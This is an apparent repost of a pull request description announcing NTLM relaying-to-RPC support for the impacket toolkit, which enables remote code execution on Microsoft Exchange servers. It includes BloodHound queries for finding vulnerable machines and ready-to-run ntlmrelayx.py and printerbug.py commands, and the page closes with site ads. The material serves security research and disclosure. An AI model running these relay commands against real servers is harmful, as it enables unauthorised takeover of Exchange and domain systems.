Added Relaying to RPC support to impacket

栏目: IT技术 · 发布时间: 5年前

内容简介:Hello there,This PR implements Relaying to RPC attack which currently allowsUsage

Hello there,

This PR implements Relaying to RPC attack which currently allows RCE in any MS Exchange via Exchange Trusted Subsystem group (All exchange systems have Administrator rights to each other via this or similar group) and printerbug.py.

BloodHound queries to find vulnerable machines

MATCH p=(a:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(b:Computer) RETURN p
MATCH p=(a:Computer)-[r:AdminTo]->(b:Computer) RETURN p

Usage

Relaying to ncacn_ip_tcp:

# Console 1
sudo python2 ntlmrelayx.py -debug -c whoami -t rpc://EXCHANGE1-ADDR
# Console 2
python2 ./printerbug.py test@EXCHANGE2-ADDR {your_ip}

Relaying to IPC$ (low-privileged account needed), but requires only 445/tcp, and the connection will be encrypted:

# Console 1
sudo python2 ntlmrelayx.py -c whoami -t rpc://EXCHANGE1-ADDR -rpc-use-smb -auth-smb 'CONTOSO/test:P@ssw0rd'
# Console 2
python2 ./printerbug.py test@EXCHANGE2-ADDR {your_ip}

Description

My original complete patch: https://gist.github.com/mohemiv/ab542e4ff5d8fedda790e35326705bad

MD5SUM from May 2, 2020: https://twitter.com/_mohemiv/status/1256636651780087809

The supported functions:

IPC$

Also I've tested relaying connections to MMC20 object, but relaying to DCOM will gave you only the relayed user permissions, in my PoC it required 2 connections from the target, and there is no way to launch a DCOM object via only 445/tcp. So, the full PoC for DCOM has not been developed. Relaying to WMI is not possible as WMI requires signing.

As you already know, Compass Security company has already published the description of this attack ( https://twitter.com/compasssecurity/status/1260898906629529602 ), but as I know from MS, the patch is not fully developed yet. May be it because of IPC$ and MMC20 examples I sent via MSRC.

For @CompassSecurity , it will be interesting to see your RPC Server and ways to get an incoming RPC connection :sunglasses:


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTML & CSS设计与构建网站

HTML & CSS设计与构建网站

[美] Jon Duckett / 刘涛、陈学敏 / 清华大学出版社 / 2013-1 / 59.80元

欢迎您选择一种更高效的学习HTML和CSS的方式。不管您设计和建立新网站,还是想更好地控制现有网站,都可以在《HTML & CSS 设计与构建网站》一书的指导下创建出用户友好、令用户赏心悦目的Web内容。我们知道,编码是一项令人望而生畏的工作,而本书却采用有别于许多传统编程书籍的新颖编排方式,将使您收到事半功倍的学习效果。 每一页都在短小精悍的示例代码的引导下,简明直观、直截了当地阐述一个新......一起来看看 《HTML & CSS设计与构建网站》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

SHA 加密
SHA 加密

SHA 加密工具